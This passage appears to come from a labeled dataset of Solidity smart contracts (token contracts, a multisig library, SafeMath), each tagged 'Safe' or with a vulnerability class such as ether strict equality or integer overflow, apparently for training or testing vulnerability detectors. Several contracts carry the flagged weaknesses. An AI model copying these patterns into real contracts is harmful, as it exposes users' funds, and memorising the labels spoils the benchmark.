reprocessed string in bytes32 format */ function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; //sorry limited to 32 characters require (_length <= 32 && _length > 0, ""string must be between 1 and 32 characters""); // make sure it doesnt start with or end with space require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, ""string cannot start or end with space""); // make sure first two characters are not 0x if (_temp[0] == 0x30) { require(_temp[1] != 0x78, ""string cannot start with 0x""); require(_temp[1] != 0x58, ""string cannot start with 0X""); } // create a bool to track if we have a non number character bool _hasNonNumber; // convert & check for (uint256 i = 0; i < _length; i++) { // if its uppercase A-Z if (_temp[i] > 0x40 && _temp[i] < 0x5b) { // convert to lower case a-z _temp[i] = byte(uint(_temp[i]) + 32); // we have a non number if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( // require character is a space _temp[i] == 0x20 || // OR lowercase a-z (_temp[i] > 0x60 && _temp[i] < 0x7b) || // or 0-9 (_temp[i] > 0x2f && _temp[i] < 0x3a), ""string contains invalid characters"" ); // make sure theres not 2x spaces in a row if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, ""string cannot contain consecutive spaces""); // see if we have a character other than a number if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, ""string cannot be only numbers""); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } /** * @title SafeMath v0.1.9 * @dev Math operations with safety checks that throw on error * change notes: original SafeMath library from OpenZeppelin modified by Inventor * - added sqrt * - added sq * - added pwr * - changed asserts to requires with error log outputs * - removed div, its useless */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, ""SafeMath mul failed""); return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, ""SafeMath sub failed""); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, ""SafeMath add failed""); return c; } /** * @dev gives square root of given x. */ function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } /** * @dev gives square. multiplies x by x */ function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } /** * @dev x to the power of y */ function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } } /** @title -MSFun- v0.2.4 * ┌┬┐┌─┐┌─┐┌┬┐ ╦╦ ╦╔═╗╔╦╗ ┌─┐┬─┐┌─┐┌─┐┌─┐┌┐┌┌┬┐┌─┐ * │ ├┤ ├─┤│││ ║║ ║╚═╗ ║ ├─┘├┬┘├┤ └─┐├┤ │││ │ └─┐ * ┴ └─┘┴ ┴┴ ┴ ╚╝╚═╝╚═╝ ╩ ┴ ┴└─└─┘└─┘└─┘┘└┘ ┴ └─┘ * _____ _____ * (, / /) /) /) (, / /) /) * ┌─┐ / _ (/_ // // / _ // _ __ _(/ * ├─┤ ___/___(/_/(__(_/_(/_(/_ ___/__/_)_(/_(_(_/ (_(_(_ * ┴ ┴ / / .-/ _____ (__ / * (__ / (_/ (, / /)™ * / __ __ __ __ _ __ __ _ _/_ _ _(/ * ┌─┐┬─┐┌─┐┌┬┐┬ ┬┌─┐┌┬┐ /__/ (_(__(_)/ (_/_)_(_)/ (_(_(_(__(/_(_(_ * ├─┘├┬┘│ │ │││ ││ │ (__ / .-/ © Jekyll Island Inc. 2018 * ┴ ┴└─└─┘─┴┘└─┘└─┘ ┴ (_/ * _ _ _ _ _ _ _ _ _ _ _ *=(_) _ _ (_)==========_(_)(_)(_)(_)_==========(_)(_)(_)(_)(_)================================* * (_)(_) (_)(_) (_) (_) (_) _ _ _ _ _ _ * (_) (_)_(_) (_) (_)_ _ _ _ (_) _ _ (_) (_) (_)(_)(_)(_)_ * (_) (_) (_) (_)(_)(_)(_)_ (_)(_)(_)(_) (_) (_) (_) * (_) (_) _ _ _ (_) _ _ (_) (_) (_) (_) (_) _ _ *=(_)=========(_)=(_)(_)==(_)_ _ _ _(_)=(_)(_)==(_)======(_)_ _ _(_)_ (_)========(_)=(_)(_)==* * (_) (_) (_)(_) (_)(_)(_)(_) (_)(_) (_) (_)(_)(_) (_)(_) (_) (_)(_) * * ╔═╗┌─┐┌┐┌┌┬┐┬─┐┌─┐┌─┐┌┬┐ ╔═╗┌─┐┌┬┐┌─┐ ┌──────────┐ * ║ │ ││││ │ ├┬┘├─┤│ │ ║ │ │ ││├┤ │ Inventor │ * ╚═╝└─┘┘└┘ ┴ ┴└─┴ ┴└─┘ ┴ ╚═╝└─┘─┴┘└─┘ └──────────┘ * * ┌──────────────────────────────────────────────────────────────────────┐ * │ MSFun, is an importable library that gives your contract the ability │ * │ add multiSig requirement to functions. │ * └──────────────────────────────────────────────────────────────────────┘ * ┌────────────────────┐ * │ Setup Instructions │ * └────────────────────┘ * (Step 1) import the library into your contract * * import ""./MSFun.sol""; * * (Step 2) set up the signature data for msFun * * MSFun.Data private msData; * ┌────────────────────┐ * │ Usage Instructions │ * └────────────────────┘ * at the beginning of a function * * function functionName() * { * if (MSFun.multiSig(msData, required signatures, ""functionName"") == true) * { * MSFun.deleteProposal(msData, ""functionName""); * * // put function body here * } * } * ┌────────────────────────────────┐ * │ Optional Wrappers For TeamJust │ * └────────────────────────────────┘ * multiSig wrapper function (cuts down on inputs, improves readability) * this wrapper is HIGHLY recommended * * function multiSig(bytes32 _whatFunction) private returns (bool) {return(MSFun.multiSig(msData, TeamJust.requiredSignatures(), _whatFunction));} * function multiSigDev(bytes32 _whatFunction) private returns (bool) {return(MSFun.multiSig(msData, TeamJust.requiredDevSignatures(), _whatFunction));} * * wrapper for delete proposal (makes code cleaner) * * function deleteProposal(bytes32 _whatFunction) private {MSFun.deleteProposal(msData, _whatFunction);} * ┌────────────────────────────┐ * │ Utility & Vanity Functions │ * └────────────────────────────┘ * delete any proposal is highly recommended. without it, if an admin calls a multiSig * function, with argument inputs that the other admins do not agree upon, the function * can never be executed until the undesirable arguments are approved. * * function deleteAnyProposal(bytes32 _whatFunction) onlyDevs() public {MSFun.deleteProposal(msData, _whatFunction);} * * for viewing who has signed a proposal & proposal data * * function checkData(bytes32 _whatFunction) onlyAdmins() public view returns(bytes32, uint256) {return(MSFun.checkMsgData(msData, _whatFunction), MSFun.checkCount(msData, _whatFunction));} * * lets you check address of up to 3 signers (address) * * function checkSignersByAddress(bytes32 _whatFunction, uint256 _signerA, uint256 _signerB, uint256 _signerC) onlyAdmins() public view returns(address, address, address) {return(MSFun.checkSigner(msData, _whatFunction, _signerA), MSFun.checkSigner(msData, _whatFunction, _signerB), MSFun.checkSigner(msData, _whatFunction, _signerC));} * * same as above but will return names in string format. * * function checkSignersByName(bytes32 _whatFunction, uint256 _signerA, uint256 _signerB, uint256 _signerC) onlyAdmins() public view returns(bytes32, bytes32, bytes32) {return(TeamJust.adminName(MSFun.checkSigner(msData, _whatFunction, _signerA)), TeamJust.adminName(MSFun.checkSigner(msData, _whatFunction, _signerB)), TeamJust.adminName(MSFun.checkSigner(msData, _whatFunction, _signerC)));} * ┌──────────────────────────┐ * │ Functions In Depth Guide │ * └──────────────────────────┘ * In the following examples, the Data is the proposal set for this library. And * the bytes32 is the name of the function. * * MSFun.multiSig(Data, uint256, bytes32) - Manages creating/updating multiSig * proposal for the function being called. The uint256 is the required * number of signatures needed before the multiSig will return true. * Upon first call, multiSig will create a proposal and store the arguments * passed with the function call as msgData. Any admins trying to sign the * function call will need to send the same argument values. Once required * number of signatures is reached this will return a bool of true. * * MSFun.deleteProposal(Data, bytes32) - once multiSig unlocks the function body, * you will want to delete the proposal data. This does that. * * MSFun.checkMsgData(Data, bytes32) - checks the message data for any given proposal * * MSFun.checkCount(Data, bytes32) - checks the number of admins that have signed * the proposal * * MSFun.checkSigners(data, bytes32, uint256) - checks the address of a given signer. * the uint256, is the log number of the signer (ie 1st signer, 2nd signer) */ library MSFun { //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ // DATA SETS //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ // contact data setup struct Data { mapping (bytes32 => ProposalData) proposal_; } struct ProposalData { // a hash of msg.data bytes32 msgData; // number of signers uint256 count; // tracking of wither admins have signed mapping (address => bool) admin; // list of admins who have signed mapping (uint256 => address) log; } //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ // MULTI SIG FUNCTIONS //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ function multiSig(Data storage self, uint256 _requiredSignatures, bytes32 _whatFunction) internal returns(bool) { // our proposal key will be a hash of our function name + our contracts address // by adding our contracts address to this, we prevent anyone trying to circumvent // the proposal's security via external calls. bytes32 _whatProposal = whatProposal(_whatFunction); // this is just done to make the code more readable. grabs the signature count uint256 _currentCount = self.proposal_[_whatProposal].count; // store the address of the person sending the function call. we use msg.sender // here as a layer of security. in case someone imports our contract and tries to // circumvent function arguments. still though, our contract that imports this // library and calls multisig, needs to use onlyAdmin modifiers or anyone who // calls the function will be a signer. address _whichAdmin = msg.sender; // prepare our msg data. by storing this we are able to verify that all admins // are approving the same argument input to be executed for the function. we hash // it and store in bytes32 so its size is known and comparable bytes32 _msgData = keccak256(msg.data); // check to see if this is a new execution of this proposal or not if (_currentCount == 0) { // if it is, lets record the original signers data self.proposal_[_whatProposal].msgData = _msgData; // record original senders signature self.proposal_[_whatProposal].admin[_whichAdmin] = true; // update log (used to delete records later, and easy way to view signers) // also useful if the calling function wants to give something to a // specific signer. self.proposal_[_whatProposal].log[_currentCount] = _whichAdmin; // track number of signatures self.proposal_[_whatProposal].count += 1; // if we now have enough signatures to execute the function, lets // return a bool of true. we put this here in case the required signatures // is set to 1. if (self.proposal_[_whatProposal].count == _requiredSignatures) { return(true); } // if its not the first execution, lets make sure the msgData matches } else if (self.proposal_[_whatProposal].msgData == _msgData) { // msgData is a match // make sure admin hasnt already signed if (self.proposal_[_whatProposal].admin[_whichAdmin] == false) { // record their signature self.proposal_[_whatProposal].admin[_whichAdmin] = true; // update log (used to delete records later, and easy way to view signers) self.proposal_[_whatProposal].log[_currentCount] = _whichAdmin; // track number of signatures self.proposal_[_whatProposal].count += 1; } // if we now have enough signatures to execute the function, lets // return a bool of true. // we put this here for a few reasons. (1) in normal operation, if // that last recorded signature got us to our required signatures. we // need to return bool of true. (2) if we have a situation where the // required number of signatures was adjusted to at or lower than our current // signature count, by putting this here, an admin who has already signed, // can call the function again to make it return a true bool. but only if // they submit the correct msg data if (self.proposal_[_whatProposal].count == _requiredSignatures) { return(true); } } } // deletes proposal signature data after successfully executing a multiSig function function deleteProposal(Data storage self, bytes32 _whatFunction) internal { //done for readability sake bytes32 _whatProposal = whatProposal(_whatFunction); address _whichAdmin; //delete the admins votes & log. i know for loops are terrible. but we have to do this //for our data stored in mappings. simply deleting the proposal itself wouldn't accomplish this. for (uint256 i=0; i < self.proposal_[_whatProposal].count; i++) { _whichAdmin = self.proposal_[_whatProposal].log[i]; delete self.proposal_[_whatProposal].admin[_whichAdmin]; delete self.proposal_[_whatProposal].log[i]; } //delete the rest of the data in the record delete self.proposal_[_whatProposal]; } //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ // HELPER FUNCTIONS //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ function whatProposal(bytes32 _whatFunction) private view returns(bytes32) { return(keccak256(abi.encodePacked(_whatFunction,this))); } //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ // VANITY FUNCTIONS //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ // returns a hashed version of msg.data sent by original signer for any given function function checkMsgData (Data storage self, bytes32 _whatFunction) internal view returns (bytes32 msg_data) { bytes32 _whatProposal = whatProposal(_whatFunction); return (self.proposal_[_whatProposal].msgData); } // returns number of signers for any given function function checkCount (Data storage self, bytes32 _whatFunction) internal view returns (uint256 signature_count) { bytes32 _whatProposal = whatProposal(_whatFunction); return (self.proposal_[_whatProposal].count); } // returns address of an admin who signed for any given function function checkSigner (Data storage self, bytes32 _whatFunction, uint256 _signer) internal view returns (address signer) { require(_signer > 0, ""MSFun checkSigner failed - 0 not allowed""); bytes32 _whatProposal = whatProposal(_whatFunction); return (self.proposal_[_whatProposal].log[_signer - 1]); } }",./Dataset/ether strict equality (SE),3,3 0x00c85C226A7899aE3c87AD2e8684d352dC83F180_Token.sol,"pragma solidity ^0.4.13; contract Token { /* Public variables of the token */ string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; /* This creates an array with all balances */ mapping (address => uint256) public balanceOf; /* This generates a public event on the blockchain that will notify clients */ event Transfer(address indexed from, address indexed to, uint256 value); function Token() { totalSupply = 1*(10**8)*(10**3); balanceOf[msg.sender] = 1*(10**8)*(10**3); // Give the creator all initial tokens name = ""catcoin""; // Set the name for display purposes symbol = ""CAB""; // Set the symbol for display purposes decimals = 3; // Amount of decimals for display purposes } function transfer(address _to, uint256 _value) { /* Check if sender has balance and for overflows */ if (balanceOf[msg.sender] < _value || balanceOf[_to] + _value < balanceOf[_to]) revert(); /* Add and subtract new balances */ balanceOf[msg.sender] -= _value; balanceOf[_to] += _value; /* Notifiy anyone listening that this transfer took place */ Transfer(msg.sender, _to, _value); } /* This unnamed function is called whenever someone tries to send ether to it */ function () { revert(); // Prevents accidental sending of ether } }",Safe,8,8 27.sol,"pragma solidity ^0.4.16; /* 创建一个父类, 账户管理员 */ contract owned { address public owner; function owned() public { owner = msg.sender; } /* modifier是修改标志 */ modifier onlyOwner { require(msg.sender == owner); _; } /* 修改管理员账户, onlyOwner代表只能是用户管理员来修改 */ function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } } /* receiveApproval服务合约指示代币合约将代币从发送者的账户转移到服务合约的账户(通过调用服务合约的 */ interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract TokenERC20 { // 代币(token)的公共变量 string public name; //代币名字 string public symbol; //代币符号 uint8 public decimals = 18; //代币小数点位数, 18是默认, 尽量不要更改 uint256 public totalSupply; //代币总量 // 记录各个账户的代币数目 mapping (address => uint256) public balanceOf; // A账户存在B账户资金 mapping (address => mapping (address => uint256)) public allowance; // 转账通知事件 event Transfer(address indexed from, address indexed to, uint256 value); // 销毁金额通知事件 event Burn(address indexed from, uint256 value); /* 构造函数 */ function TokenERC20( uint256 initialSupply, string tokenName, string tokenSymbol ) public { totalSupply = initialSupply * 10 ** uint256(decimals); // 根据decimals计算代币的数量 balanceOf[msg.sender] = totalSupply; // 给生成者所有的代币数量 name = tokenName; // 设置代币的名字 symbol = tokenSymbol; // 设置代币的符号 } /* 私有的交易函数 */ function _transfer(address _from, address _to, uint _value) internal { // 防止转移到0x0, 用burn代替这个功能 require(_to != 0x0); // 检测发送者是否有足够的资金 require(balanceOf[_from] >= _value); // 检查是否溢出(数据类型的溢出) require(balanceOf[_to] + _value > balanceOf[_to]); // 将此保存为将来的断言, 函数最后会有一个检验 uint previousBalances = balanceOf[_from] + balanceOf[_to]; // 减少发送者资产 balanceOf[_from] -= _value; // 增加接收者的资产 balanceOf[_to] += _value; Transfer(_from, _to, _value); // 断言检测, 不应该为错 assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /* 传递tokens */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /* 从其他账户转移资产 */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /* 授权第三方从发送者账户转移代币,然后通过transferFrom()函数来执行第三方的转移操作 */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /* 为其他地址设置津贴, 并通知 发送者通知代币合约, 代币合约通知服务合约receiveApproval, 服务合约指示代币合约将代币从发送者的账户转移到服务合约的账户(通过调用服务合约的transferFrom) */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * 销毁代币 */ function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply Burn(msg.sender, _value); return true; } /** * 从其他账户销毁代币 */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance totalSupply -= _value; // Update totalSupply Burn(_from, _value); return true; } } /******************************************/ /* ADVANCED TOKEN STARTS HERE */ /******************************************/ contract ROSCtoken is owned, TokenERC20 { uint256 public sellPrice; uint256 public buyPrice; /* 冻结账户 */ mapping (address => bool) public frozenAccount; /* This generates a public event on the blockchain that will notify clients */ event FrozenFunds(address target, bool frozen); /* 构造函数 */ function ROSCtoken( uint256 initialSupply, string tokenName, string tokenSymbol ) TokenERC20(initialSupply, tokenName, tokenSymbol) public {} /* 转账, 比父类加入了账户冻结 */ function _transfer(address _from, address _to, uint _value) internal { require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead require (balanceOf[_from] >= _value); // Check if the sender has enough require (balanceOf[_to] + _value > balanceOf[_to]); // Check for overflows require(!frozenAccount[_from]); // Check if sender is frozen require(!frozenAccount[_to]); // Check if recipient is frozen balanceOf[_from] -= _value; // Subtract from the sender balanceOf[_to] += _value; // Add the same to the recipient Transfer(_from, _to, _value); } /// 向指定账户增发资金 function mintToken(address target, uint256 mintedAmount) onlyOwner public { balanceOf[target] += mintedAmount; totalSupply += mintedAmount; Transfer(0, this, mintedAmount); Transfer(this, target, mintedAmount); } /// 冻结 or 解冻账户 function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; FrozenFunds(target, freeze); } function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public { sellPrice = newSellPrice; buyPrice = newBuyPrice; } /// @notice Buy tokens from contract by sending ether function buy() payable public { uint amount = msg.value / buyPrice; // calculates the amount _transfer(this, msg.sender, amount); // makes the transfers } function sell(uint256 amount) public { require(this.balance >= amount * sellPrice); // checks if the contract has enough ether to buy _transfer(msg.sender, this, amount); // makes the transfers msg.sender.transfer(amount * sellPrice); // sends ether to the seller. It's important to do this last to avoid recursion attacks } }",./Dataset/ether strict equality (SE),3,3 0x04dd2f16c6eafd37f59b368a71c2e549d18d87bd_Migrations.sol,"pragma solidity ^0.4.17; contract Migrations { address public owner; uint public last_completed_migration; modifier restricted() { if (msg.sender == owner) _; } function Migrations() public { owner = msg.sender; } function setCompleted(uint completed) public restricted { last_completed_migration = completed; } function upgrade(address new_address) public restricted { Migrations upgraded = Migrations(new_address); upgraded.setCompleted(last_completed_migration); } }",Safe,8,8 0x002329192014563890ffb66b483c29dd6607c419_ADZbuzzCommunityToken.sol,"pragma solidity ^0.4.18; // ---------------------------------------------------------------------------- // 'ACT300390' token contract // // Deployed to : 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187 // Symbol : ACT300390 // Name : ADZbuzz Evonomics.com Community Token // Total supply: 2000000 // Decimals : 8 // // Enjoy. // // (c) by Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence. // (c) by Darwin Jayme with ADZbuzz Ltd. UK (adzbuzz.com) 2018. // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Contract function to receive approval and execute function in one call // // Borrowed from MiniMeToken // ---------------------------------------------------------------------------- contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Owned() public { owner = 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ---------------------------------------------------------------------------- contract ADZbuzzCommunityToken is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function ADZbuzzCommunityToken() public { symbol = ""ACT300390""; name = ""ADZbuzz Evonomics.com Community Token""; decimals = 8; _totalSupply = 200000000000000; balances[0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187] = _totalSupply; emit Transfer(address(0), 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }",Safe,8,8 905.sol,"pragma solidity ^0.4.24; library SafeMath { function mul(uint a, uint b) internal pure returns (uint) { if (a == 0) { return 0; } uint c = a * b; assert(c / a == b); return c; } function div(uint a, uint b) internal pure returns (uint) { uint c = a / b; return c; } function sub(uint a, uint b) internal pure returns (uint) { assert(b <= a); return a - b; } function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; assert(c >= a); return c; } } contract owned { event TransferOwnership(address _owner, address _newOwner); event OwnerUpdate(address _prevOwner, address _newOwner); event TransferByOwner(address fromAddress, address toAddress, uint tokens); event Pause(); event Unpause(); address public owner; address public newOwner = 0x0; bool public paused = false; constructor () public { owner = msg.sender; } modifier onlyOwner { require (msg.sender == owner); _; } modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function transferOwnership(address _newOwner) public onlyOwner { require(_newOwner != owner); newOwner = _newOwner; emit TransferOwnership(owner, _newOwner); } function acceptOwnership() public{ require(msg.sender == newOwner); emit OwnerUpdate(owner, newOwner); owner = newOwner; newOwner = 0x0; } function pause() public onlyOwner whenNotPaused { paused = true; emit Pause(); } function unpause() public onlyOwner whenPaused { paused = false; emit Unpause(); } } contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract seyToken is ERC20Interface, owned { using SafeMath for uint; string public name; string public symbol; uint public decimals; uint internal maxSupply; uint public totalSupply; address public beneficiary; mapping (address => uint) public balances; mapping(address => mapping(address => uint)) public allowed; constructor(string _name, string _symbol, uint _maxSupply) public { name = _name; symbol = _symbol; decimals = 18; maxSupply = _maxSupply * (10 ** decimals); totalSupply = totalSupply.add(maxSupply); beneficiary = msg.sender; balances[beneficiary] = balances[beneficiary].add(totalSupply); } function totalSupply() public constant returns (uint) { return totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } function transfer(address _to, uint _value) public whenNotPaused returns (bool success) { if (balances[msg.sender] < _value) revert() ; if (balances[_to] + _value < balances[_to]) revert(); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function transferByOwner(address _from, address _to, uint _value) public onlyOwner returns (bool success) { if (balances[_from] < _value) revert(); if (balances[_to] + _value < balances[_to]) revert(); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(_from, _to, _value); emit TransferByOwner(_from, _to, _value); return true; } function approve(address spender, uint tokens) public whenNotPaused returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transferFrom(address _from, address _to, uint _value) public whenNotPaused returns (bool success) { if (balances[_from] < _value) revert(); if (balances[_to] + _value < balances[_to]) revert(); if (_value > allowed[_from][msg.sender]) revert(); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(_from, _to, _value); return true; } function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } function () public payable { revert(); } }",./Dataset/integer overflow (OF)/,4,4 33378.sol,"pragma solidity ^0.4.4; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent 